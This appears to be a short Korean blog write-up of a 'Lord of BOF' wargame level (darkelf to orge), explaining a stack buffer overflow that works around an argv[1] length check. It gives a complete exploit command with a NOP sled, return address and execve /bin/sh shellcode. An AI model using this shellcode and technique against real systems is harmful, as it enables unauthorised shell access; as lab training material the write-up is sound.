개강을 기념하는 마음으로 오랫만에 풀어봤당..
먼저 문제를 보면..
달라진 부분은 argv[1]의 길이를 체크한다.
사실 큰 문제는 없다. argv[2]를 사용하면 되니까!
똑같이 풀어볼거다
gdb로 disas main을 보면.. 엄청 길다.
버퍼의 사이즈는 2c(44byte), ret 4byte다..
break point 부분은 strcpy 한 다음부분에 걸고..
argv[1]에는 nop 44byte와 ret로 뛸 주소를 넣고.. argv[2]에 넣어야겠다.
argv[2]에는 nop 1000개랑 쉘코드를 박을거다
shellcode는..
./darkelf `python -c 'print "\x90"*44+"\x44\xfb\xff\xbf"'` `python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
이렇게....
끝~~
(기존 문서에는 xshell 에서 아이언맨을 감명깊게 보고 쟈비스컨셉으로 주황색을 썼더니... 오타쿠같다는 얘기를 듣고 해커의 기본인 검바녹글로 바꿨당)
kernel crashed
'wargame > S_LOB' 카테고리의 다른 글
darkelf->orge (0) | 2016.08.31 |
---|---|
orc->wolfman (0) | 2016.06.24 |
goblin->orc (0) | 2016.06.23 |
cobolt -> goblin (0) | 2016.06.14 |
gremlin->cobolt (0) | 2016.06.12 |